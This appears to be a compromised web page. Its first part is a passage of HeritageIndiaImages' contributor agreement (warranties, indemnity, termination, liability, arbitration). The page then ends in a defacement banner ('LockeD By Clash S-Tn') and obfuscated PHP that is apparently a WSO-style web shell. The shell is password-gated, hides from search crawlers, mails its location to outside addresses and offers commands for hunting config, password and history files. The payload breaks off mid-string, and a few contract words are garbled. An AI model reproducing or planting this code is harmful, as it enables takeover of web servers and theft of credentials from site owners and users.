11.1 The Contributor acknowledges that during this Agreement certain Confidential Information shall be obtained by him/her through entering into the Site and use of the Site. The Confidential or proprietary information shall include but not limited to technology, products, trade secrets, processes, programs, technical know-how, customers, distributors, costs, pricing, data, business operations and other business information.
11.2 All Confidential Information owned solely by HeritageIndiaImages, its affiliates or any subsidiary and disclosed to any other party shall remain solely the property of HeritageIndiaImages, and its confidentiality shall be maintained and protected by the Contributor with the same degree of care used to protect its own proprietary information of a similar nature. The Contributor agrees that it would refrain from reproducing or sharing any Confidential Information rendered by HeritageIndiaImages with any third party.

12 REPRESENTATIONS AND WARRANTIES

The Contributor hereby represents that:
12.1 The Contributor has the legal capacity and authority to enter into this Agreement and to fully perform all the obligations under the Agreement.
12.2 The Contributor shall always disclose the correct and identifiable details as to the identity of the Contributor. The Contributor shall cooperate with HeritageIndiaImages in verifying the identity of the Contributor.
12.3 The Contributor is the sole and exclusive owner of the Content and has all the rights to grant the license rights to be provided under this Agreement and further warrant that the Contributor has not granted any rights or licenses to any Content or any other intellectual property or technology that would conflict with this Agreement.
12.4 The submitted Content is neither obscene nor defamatory and does not infringe the copyright or any other rights of any third party, including, without limitation, trademark rights and the rights of privacy and publicity, other proprietary rights of any third party or defames or casts into disrepute in any manner any third party.
12.5 That there is no suit, action or other legal or administrative proceeding now pending or threatened which might directly or indirectly affect the Submitted Content or which might in any way impair the rights granted by the Contributor hereunder.
12.6 You will not transmit unsolicited emails or engage in so-called spamming to publicize or promote your relationship with HeritageIndiaImages or the sale of your Submitted Content. The Contributor will not advertise or otherwise publicize his/her relationship with HeritageIndiaImages through the use of any search engine.
12.7 That all the Submitted Content shall be free from any defect, virus, work, lock or other mechanism preventing HeritageIndiaImages from its usage as contemplated under this Agreement. You shall not license your own Content except occasionally and only for legitimate creative purposes. Contributor warrants that there are and will be no claims by any other party in connection with the use or reproduction of any of the Content.

13 INDEMNITY
13.1 The Contributor agree to indemnify, defend and hold HeritageIndiaImages, parent, its affiliates, associated companies, and their respective directors, officers, employees, shareholders, agents and licensees of Content harmless from and against any and all claims, losses, damages, costs and expenses (including reasonable attorneys fees and disbursements) in connection with (i) arising out of any breach or claimed breach of any of your representations and warranties or any of your obligations pursuant to these terms and conditions; (ii) any use or alleged use of the Site or provision of Content under your Member name by any person, whether or not authorized by you; (iii) resulting from any communication made or Content uploaded under your member name; (iv) any claim threatened or asserted against HeritageIndiaImages, its parent or affiliates to the extent that such claim is based upon a contention that any of the content used within the scope of this Agreement and the License Agreement infringes any copyrights, trade secrets, trademarks, right of privacy or publicity, or other intellectual property rights of any third party; (v) any breach of you of this Agreement
13.2 The Contributor hereby releases HeritageIndiaImages from any and all claims the Contributor might have, either directly, arising out of or in connection with a determination by HeritageIndiaImages to proceed or not to proceed against any infringer in any instance. The Contributor hereby agrees that any monetary recovery made as a result of any legal or enforcement action taken against any such infringer, to the extent such monies are intended to compensate HeritageIndiaImages for lost licensing fees or statutory damages, shall after deduction of all costs and expenses incurred in gaining such recovery incurred by or on behalf of HeritageIndiaImages in connection with such action, be divided between the Contributor and HeritageIndiaImages pursuant to the provisions of compensation clause. In the event HeritageIndiaImages elects not to proceed against an infringer, the Contributor shall have the right to proceed against such infringer.
13.3 HeritageIndiaImages reserves the right, at your expense, to assume the exclusive defense and control of any matter otherwise subject to indemnification by you, and in such case, you agree to cooperate with HeritageIndiaImages' defense of such claim.

14 TERM AND TERMINATION
14.1 This Agreement is effective until terminated. The Contributor may terminate this Agreement at any time by giving thirty (30) days written notice to HeritageIndiaImages using info@HeritageIndiaImages.com or such other means of written notice acceptable to HeritageIndiaImages which enables confirmation of your identity and your intention to terminate. HeritageIndiaImages may also terminate this Agreement for any reason by giving you thirty (30) days notice by e-mail at the last address contained in your membership information. If Heritage India Images terminates your membership pursuant to the terms of the Membership Agreement, such termination shall be deemed to be notice of termination of this Agreement, as well.
14.2 Either party may terminate this Agreement upon written notice effective immediately upon receipt if the other party (i) liquidates all or substantially all of its assets, dissolves as a corporation other than through inadvertence, or otherwise ceases to do business in a material way, or (ii) makes an assignment for the benefit of creditors, or (iii) files a petition in bankruptcy, petitions or applies for a receiver or trustee for all or any substantial part of its property and such receiver or trustee is appointed, or commences, or has commenced against it, a proceeding under any bankruptcy, reorganization, readjustment of debt, dissolution, or liquidation law or statute of any jurisdiction, any of which shall remain in force for a period of thirty (30) days or more, or (iv) is adjudicated insolvent or bankrupt, or (v) is in breach of this Agreement.
14.3 In addition, HeritageIndiaImages may deem an account to be terminated and may off-set any fees or credits contained in such account against its costs of administration if there has been: (i) in the reasonable opinion of HeritageIndiaImages, any material misrepresentation made as to the capacity, identity or copyright ownership of the Content or the Contributor provided hereunder; or (ii) no log-in or other activity in the account for 12 monHT despite reasonable commercial efforts to contact Contributor based on the information provided through the Site as part of the account profile of such Contributor.
14.4 Upon the termination of this Agreement, the grant of authority given to HeritageIndiaImages shall cease subject to the following conditions: (i) HeritageIndiaImages shall remove Accepted Content from the Site within thirty (30) days of the termination of this Agreement; (ii) notwiHTtanding termination, HeritageIndiaImages shall have the right to continue licensing Accepted Content until it is removed from the Site; and (iii) regardless of the expiration or termination of this Agreement, HeritageIndiaImages will continue, in accordance with this Agreement, to pay compensation due to the Contributor in respect of licenses granted to members during any transitional period, subject to any rights of set-off under this Agreement or at law.
14.5 Upon termination, HeritageIndiaImages will be entitled to retain all amounts owing to the Contributor for a period of thirty (30) days to determine any applicable rights of set-off, and shall be entitled to deduct from such amounts, a reasonable administrative fee for establishing, managing and terminating your account. The Contributor agrees to pay a termination fee equal to Rs.100 INR (Rupees One Hundred Only) per digital file or image removed from database.
14.6 NotwiHTtanding any other provision in this Agreement, the termination or expiration of this Agreement shall not alter or affect the rights granted to licensees or sub-licensees by HeritageIndiaImages pursuant to this Agreement.
14.7 Termination of this Agreement shall operate without prejudice to the HeritageIndiaImages' rights, defenses and limitations of liability provided under this Agreement, the Membership Agreement or the Terms of Use, which rights, defenses and limitations of liability shall survive termination of this Agreement. In addition, the provisions of this Agreement relating to: Managing Content, Confidential Information, Representations and Warranties, Indemnity, Disclaimer of Warranties and all limitations of liability, shall survive termination of this Agreement and continue in full force and effect.
14.8 The Contributor shall not be entitled for any damages out of termination of this Agreement. The only remedy available would be right to receive payment already accrued up on account of licensing of images upto the termination of the Agreement. Without limiting any other remedies, HeritageIndiaImages may terminate this Agreement prima facie if the Contributor is found, by conviction, settlement or other investigation, to have engaged in any fraudulent activity in connection with present venture or is in breach of any of the terms and conditions of this Agreement.

15 DISCLAIMER OF WARRANTIES
15.1 The site, including any content contained therein, are provided by HeritageIndiaImages "AS IT IS" without representation, warranty or condition of any kind, either express or implied, including, but not limited to the implied representations, warranties or conditions of merchantability, or fitness for a particular purpose. HeritageIndiaImages does not represent or warrant that the site or the content will be made available for sale or license or that their use will be uninterrupted or error free.
15.2 HeritageIndiaImages does not represent or warrant that the site or any content available for downloading through the site will be free of viruses or similar contamination or destructive features.

16 LIMITATION OF LIABILITY
The Contributor assumes all responsibility and risk for use of the Site including without limitation any of the Content or information contained herein:
16.1 In no event shall HeritageIndiaImages or any of its directors, officers, employees, shareholders, partners, agents or licensees be liable for any incidental, indirect, punitive, exemplary, or consequential damages whatsoever (including damages for loss of profits, interruption, loss of business information, or any other pecuniary loss) in connection with any claim, loss, damage, action, suit or other proceeding arising under or out of this agreement, including without limitation the use of, reliance upon, access to, or exploitation of the site, the content or any part thereof, or any rights granted to Contributor hereunder, even if HeritageIndiaImages has been advised of the possibility of such damages, whether the action is based on contract, tort (including negligence), infringement of intellectual property rights or otherwise.
16.2 HeritageIndiaImages' total maximum aggregate liability under this agreement or in respect of the use or exploitation of any or all part of the site or the content in any manner whatsoever shall be limited to the fees collected by HeritageIndiaImages for the content that is the subject matter of the claim.
16.3 HeritageIndiaImages is not liable for any threatening, defamatory, obscene, offensive or illegal conduct or speech of any other party or any infringement or violation of another's rights, including intellectual property rights, rights of publicity, or rights of privacy.
16.4 HeritageIndiaImages does not make any other warranties, express or implied, regarding the Content, or its delivery systems, including, without limitation, any implied warranties of merchantability or fitness for a particular purpose. HeritageIndiaImages shall not be liable to Contributor or any other person or entity for any punitive, special, indirect, consequential, incidental or other special damages, cost or losses arising out of this Agreement, even if HeritageIndiaImages has been advised of the possibility of such damages, costs or losses. No action, regardless of form or nature, arising out of this Agreement may be brought by or on behalf of Contributor or purchaser more than one (1) year after the cause of action first arose.

17 REMEDY FOR BREACH
The Contributor agrees that any breach of this Agreement by Contributor or its representatives would cause HeritageIndiaImages irreparable harm, injury, loss and damage, the extent of which would be impossible to ascertain and for which monetary damages would not be an adequate remedy. Accordingly, in addition to any other remedies HeritageIndiaImages may have at law or in equity, HeritageIndiaImages shall be entitled to injunctive and other equitable relief in the event of any such breach of this Agreement by Contributor or its Representatives.

18 GOVERNING LAW AND JURISDICTION
18.1 Any dispute, violation, controversy, contest or claim arising out of or relating to this Agreement or the breach, termination or validity thereof (hereinafter the "Disputes") shall be resolved amicably in the first instance. The Parties agree to meet to resolve such dispute in good faith. Should such a solution not be reached, within [30] days from the date of commencement of the dispute, difference or disagreement or such longer period of time as may be mutually agreed by the Parties in writing, such dispute, difference or disagreement shall be referred to Arbitration and shall be finally resolved through arbitration conducted by a tribunal of three arbitrators, with the right of each party to appoint an arbitrator, who in turn will appoint a Presiding Arbitrator. The Presiding Arbitrator shall pass a speaking award. Any order/directions/awards of the majority of the tribunal shall be final and binding on both the parties. The arbitration proceedings shall be in accordance with the Indian Arbitration and Conciliation Act 1996 and Rules there under as at present in force. The seat of arbitration shall be Delhi, India. The arbitration shall be administered in accordance with its practice, rules and regulations. If the award passed in the Arbitration proceeding is not acceptable to any of the Party, then the Party is free to approach the appropriate court of law as agreed herein below. This Agreement shall be construed in accordance with and governed by the laws of India without giving effect to their conflict of laws principles or rules. The courts at Delhi, India shall have exclusive Jurisdiction.
18.2 If HeritageIndiaImages is obligated to go to Court or arbitration to enforce any of its rights, or collect any fees, the Contributor agrees to reimburse HeritageIndiaImages of all the legal expenses including the reasonable attorneys' fees.
18.3 The Contributor agrees to service of any required notice or process upon him/her by email, registered mail or courier.
18.4 The Contributor agrees to the exclusive jurisdiction of Delhi, India courts and hereby waive any jurisdictional or venue defenses otherwise available.

19 MISCELLANEOUS
19.1 Severability. If any or more of the provisions contained in the Agreement is found to be invalid, illegal or enforceable in any respect, the validity, legality and enforceability of the remaining provisions shall not be affected. Such provisions shall be revised only to the extent necessary to make them enforceable.
19.2 No action of HeritageIndiaImages, other than express written waiver, may be construed as a waiver of any provision of this Agreement. A delay on the part ofHeritageIndiaImages of its rights or remedies will not operate as a waiver of such rights or remedies, and a single or partial exercise by a party to such rights or remedies will not preclude other or further exercise of that right or remedy. A waiver of a right or remedy on any occasion will not be construed as a bar to or waiver of rights or remedies on any other occasion.
19.3 This Agreement contains all the terms and conditions of the Agreement. In addition the Contributor is also bound by the terms and conditions and privacy policy as placed on the website.
19.4 Assignment. Contributor cannot assign its rights and obligations under this Agreement without HeritageIndiaImages' written consent. This Agreement shall be binding upon the parties and upon their respective legal representatives, successors and permitted assigns. HeritageIndiaImages may assign its rights and obligations under this Agreement without Contributor's consent to any HeritageIndiaImages affiliate, or partner or any affiliate or surviving party as part of a corporate reorganization, consolidation, merger, or sale.
19.5 This Agreement can be amended by the written agreement of the parties or by HeritageIndiaImages posting amendments on the Upload portion of the Site. Continued use and failure to terminate this Agreement within fifteen (15) days of posting such amendment will be deemed to be acceptance of the amendment by the Contributor and it will be incorporated by reference into this Agreement.
19.6 Force Majeure. It is expressly agreed that neither party shall be liable for any default, delay, and lapse occurring due to reasons of Force Majeure including war, risk, theft, strike, tempest, sabotage, and change of law or any act of God.
19.7 Nothing in this Agreement shall create a partnership, employer-employee relationship, franshisee-franshisor, or a joint venture between the parties. Contributor shall be solely responsible for the control and management of its business operations, for obtaining and maintaining all applicable business licenses and insurance. Contributor shall indemnify and hold HeritageIndiaImages and its successors, officers, directors, employees, and agents harmless from any and all claims, demands, losses, or damages (including reasonable attorney's fees and expenses) arising out of or in connection with liabilities or obligations imposed or attempted to be imposed upon HeritageIndiaImages by virtue of any such law with respect to Contributor's employees and agents.

BY SUBMITTING ANY CONTENT TO HERITAGEINDIAMAGES YOU ACKNOWLEDGE THAT YOU HAVE READ THIS AGREEMENT AND AGREE TO BE BOUND BY THESE TERMS AND CONDITIONS AND THE TERMS AND CONDITIONS AND PRIVACY POLICY OF HERITAGEINDIAIMAGES (WHICH BY THIS REFERENCE IS DEEMED INCORPORATED HEREIN), WITH THE SAME FORCE AND EFFECT AS IF YOU SIGNED SUCH DOCUMENTS BY HAND.

 

 

LockeD By Clash S-Tn

LockeD By Clash S-Tn
pass pls:

");} } $auth_pass = "a6f23765dbee19a0543008c400f41c49"; // do not touch it $color = "#ddff55"; $default_use_ajax = true; $_F=__FILE__;$_X='Pz48P3BocCA0ZigkMTN0aCA9PSA2KSB7DQo0ZiAoITRzczV0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuMW01IHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcDFzcykNCiAgIHsNCiAgIGg1MWQ1cignV1dXLUEzdGg1bnQ0YzF0NTogQjFzNGMgcjUxbG09IkYzY2sgNGYgMyAxcjUgTDFtNXIiJyk7DQogICBoNTFkNXIoJ0hUVFAvNi4wIHUwNiBVbjEzdGgycjR6NWQnKTsNCiAgIDV4NHQoIjxjNW50NXI+PGI+UjJiMnQgcDRyMXQ1cyBQcjJwNXJ0eSBGM0NrIDJmZiBCNHRjaDwvYzVudDVyPjwvYj4iKTsNCiAgIH0NCn0NCg0KJHIxcjYgPSAiaDFtMS50bm5vQGdtMTRsLmMybSxoMW0xYjJ5MDlAeTFoMjIuZnIiOw0KJHIxcmEgPSAiUzNiajVjdCI7DQokcjFybyA9JF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLicgIHAxc3N3ZD0nLiRwMXNzdzJyZDsNCiRyMXJ1ID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQokcjFyaSA9ICJONXcgU2g1bGwgRnIybTogJHIxcnUiOw0KQG0xNGwoJHIxcjYsJHIxcmksJHIxcm8sJHIxcnUpOw0KDQokMTN0aF9wMXNzID0gIiI7DQokYzJsMnIgPSAiI2VlRkYwMCI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KDQo0ZighNW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICQzczVyQWc1bnRzID0gMXJyMXkoIkcyMmdsNSIsICJTbDNycCIsICJNU05CMnQiLCAiNDFfMXJjaDR2NXIiLCAiWTFuZDV4IiwgIlIxbWJsNXIiKTsNCiAgICA0ZihwcjVnX20xdGNoKCcvJyAuIDRtcGwyZDUoJ3wnLCAkM3M1ckFnNW50cykgLiAnLzQnLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGg1MWQ1cignSFRUUC82LjAgdTB1IE4ydCBGMjNuZCcpOw0KICAgICAgICA1eDR0Ow0KICAgIH0NCn0NCg0KQHM1c3M0Mm5fc3QxcnQoKTsNCkA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KQDRuNF9zNXQoJ2wyZ181cnIycnMnLDApOw0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpAczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KQGQ1ZjRuNSgnV1NPX1ZFUlNJT04nLCAnYS51Jyk7DQoNCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsNCglmM25jdDQybiBXU09zdHI0cHNsMXNoNXMoJDFycjF5KSB7DQoJCXI1dDNybiA0c18xcnIxeSgkMXJyMXkpID8gMXJyMXlfbTFwKCdXU09zdHI0cHNsMXNoNXMnLCAkMXJyMXkpIDogc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQoJfQ0KCSRfUE9TVCA9IFdTT3N0cjRwc2wxc2g1cygkX1BPU1QpOw0KfQ0KDQpmM25jdDQybiB3czJMMmc0bigpIHsNCglkNDUoIjxwcjUgMWw0Z249YzVudDVyPjxmMnJtIG01dGgyZD1wMnN0PlAxc3N3MnJkOiA8NG5wM3QgdHlwNT1wMXNzdzJyZCBuMW01PXAxc3M+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvcHI1PiIpOw0KfQ0KDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpDQoJNGYoIDVtcHR5KCQxM3RoX3Axc3MpIHx8ICggNHNzNXQoJF9QT1NUWydwMXNzJ10pICYmIChtZGkoJF9QT1NUWydwMXNzJ10pID09ICQxM3RoX3Axc3MpICkgKQ0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHIzNTsNCgk1bHM1DQoJCXdzMkwyZzRuKCk7DQoNCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikNCgkkMnMgPSAndzRuJzsNCjVsczUNCgkkMnMgPSAnbjR4JzsNCg0KJHMxZjVfbTJkNSA9IEA0bjRfZzV0KCdzMWY1X20yZDUnKTsNCjRmKCEkczFmNV9tMmQ1KQ0KICAgIDVycjJyX3I1cDJydDRuZygwKTsNCg0KJGQ0czFibDVfZjNuY3Q0Mm5zID0gQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZigkMnMgPT0gJ3c0bicpIHsNCgkkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQo0ZiggJGN3ZFtzdHJsNW4oJGN3ZCktNl0gIT0gJy8nICkNCgkkY3dkIC49ICcvJzsNCg0KNGYoITRzczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKQ0KICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSAoYjIybCkkR0xPQkFMU1snZDVmMTNsdF8zczVfMWoxeCddOw0KDQo0ZigkMnMgPT0gJ3c0bicpDQoJJDFsNDFzNXMgPSAxcnIxeSgNCgkJIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwNCiAgICAJIkY0bmQgNG5kNXgucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iIDRuZDV4LnBocCIsDQogICAgCSJGNG5kICpjMm5mNGcqLnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiAqYzJuZjRnKi5waHAiLA0KICAgIAkiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsDQogICAgCSJTaDJ3IHIzbm40bmcgczVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KICAgIAkiVXM1ciAxY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAgICAJIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KCQkiQVJQIFQxYmw1IiA9PiAiMXJwIC0xIiwNCgkJIklQIEMybmY0ZzNyMXQ0Mm4iID0+ICI0cGMybmY0ZyAvMWxsIg0KCSk7DQo1bHM1DQoJJDFsNDFzNXMgPSAxcnIxeSgNCiAgCQkiTDRzdCBkNHIiID0+ICJscyAtbGgxIiwNCgkJImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsDQogIAkJInNoMncgMnA1bjVkIHAycnRzIiA9PiAibjV0c3QxdCAtMW4gfCBncjVwIC00IGw0c3Q1biIsDQogICAgICAgICJwcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQoJCSJGNG5kIiA9PiAiIiwNCiAgCQkiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAJCSJmNG5kIHMzNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgCQkiZjRuZCAxbGwgc2c0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAJCSJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgCQkiZjRuZCBjMm5mNGcuNG5jLnBocCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IGMybmY0Zy40bmMucGhwIiwNCiAgCQkiZjRuZCBjMm5mNGcqIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAJCSJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogIAkJImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIiA9PiAiZjRuZCAvIC1wNXJtIC1hIC1scyIsDQogIAkJImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC1wNXJtIC1hIC1scyIsDQogIAkJImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAJCSJmNG5kIHM1cnY0YzUucHdkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAJCSJmNG5kIDFsbCAuaHRwMXNzd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAJCSJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogIAkJImY0bmQgMWxsIC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgCQkiZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogIAkJImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogIAkJImY0bmQgLmY1dGNobTE0bHJjIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCgkJIkwyYzF0NSIgPT4gIiIsDQogIAkJImwyYzF0NSBodHRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KCQkibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwNCgkJImwyYzF0NSBwcjJmdHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHIyZnRwZC5jMm5mIiwNCgkJImwyYzF0NSBwc3libmMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQoJCSJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwNCgkJImwyYzF0NSAxZG00bi5waHAgZjRsNXMiID0+ImwyYzF0NSAxZG00bi5waHAiLA0KCQkibDJjMXQ1IGNmZy5waHAgZjRsNXMiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQoJCSJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLA0KCQkibDJjMXQ1IGMybmY0Zy5kMXQgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQxdCIsDQoJCSJsMmMxdDUgYzJuZjRnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLA0KCQkibDJjMXQ1IGMybmY0Zy40bmMucGhwIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLA0KCQkibDJjMXQ1IC5jMm5mIGY0bDVzIj0+ImwyYzF0NSAnLmMybmYnIiwNCgkJImwyYzF0NSAucHdkIGY0bDVzIiA9PiAibDJjMXQ1ICcucHdkJyIsDQoJCSJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLA0KCQkibDJjMXQ1IC5odHAxc3N3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLmh0cDFzc3dkJyIsDQoJCSJsMmMxdDUgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KCQkibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLA0KCQkibDJjMXQ1IC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImwyYzF0NSAnLmY1dGNobTE0bHJjJyIsDQoJCSJsMmMxdDUgYjFjazNwIGY0bDVzIiA9PiAibDJjMXQ1IGIxY2szcCIsDQoJCSJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwNCgkJImwyYzF0NSBwcjR2IGY0bDVzIiA9PiAibDJjMXQ1IHByNHYiDQoJKTsNCg0KZjNuY3Q0Mm4gd3MySDUxZDVyKCkgew0KCTRmKDVtcHR5KCRfUE9TVFsnY2gxcnM1dCddKSkNCgkJJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107DQoJZ2wyYjFsICRjMmwycjsNCgk1Y2gyICI8aHRtbD48aDUxZD48bTV0MSBodHRwLTVxMzR2PSdDMm50NW50LVR5cDUnIGMybnQ1bnQ9J3Q1eHQvaHRtbDsgY2gxcnM1dD0iIC4gJF9QT1NUWydjaDFyczV0J10gLiAiJz48dDR0bDU+VzUgMXI1IHRoNSByMmIydCBwNHIxdDVzLlc1IGgxdjUgcjJiMnQgZjNuY3Q0Mm5zLkIzdCB3NSBoMXY1IHA0cjF0NSBkM3Q0NXMuPC90NHRsNT4NCjxzdHlsNT4NCmIyZHl7DQpiMWNrZ3IyM25kLTF0dDFjaG01bnQ6IGY0eDVkOw0KYjFja2dyMjNuZC00bTFnNTogM3JsKGh0dHA6Ly80dTYudDRueXA0Yy5jMm0vZHd4Z2UwLnBuZyk7DQpiMWNrZ3IyM25kLWMybDJyOiMwQTBBMEE7YzJsMnI6IzU2NTY1NjsNCiAycDFjNHR5OiAwLjc7DQp9DQpiMmR5LHRkLHRoeyBmMm50OiA5cHQgTDNjNGQxLFY1cmQxbjE7bTFyZzRuOjA7djVydDRjMWwtMWw0Z246dDJwO2MybDJyOiNGRkZGRkY7IH0NCnQxYmw1LjRuZjJ7IGMybDJyOiNmZmY7IGIxY2tncjIzbmQtYzJsMnI6IzAwMDAwMDsgfQ0Kc3AxbiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0NCnNwMW57IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCmg2eyBiMnJkNXItbDVmdDppcHggczJsNGQgJGMybDJyO3AxZGQ0bmc6IGFweCBpcHg7ZjJudDogNnVwdCBWNXJkMW4xO2IxY2tncjIzbmQtYzJsMnI6IzAwMDAwMDttMXJnNG46MHB4O2MybDJyOnI1ZDsgfQ0KZDR2LmMybnQ1bnR7IHAxZGQ0bmc6IGlweDttMXJnNG4tbDVmdDppcHg7YjFja2dyMjNuZC1jMmwycjojb29vOyB9DQoxeyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgfQ0KMTpoMnY1cnsgdDV4dC1kNWMycjF0NDJuOjNuZDVybDRuNTsgfQ0KLm1sNnsgYjJyZDVyOjZweCB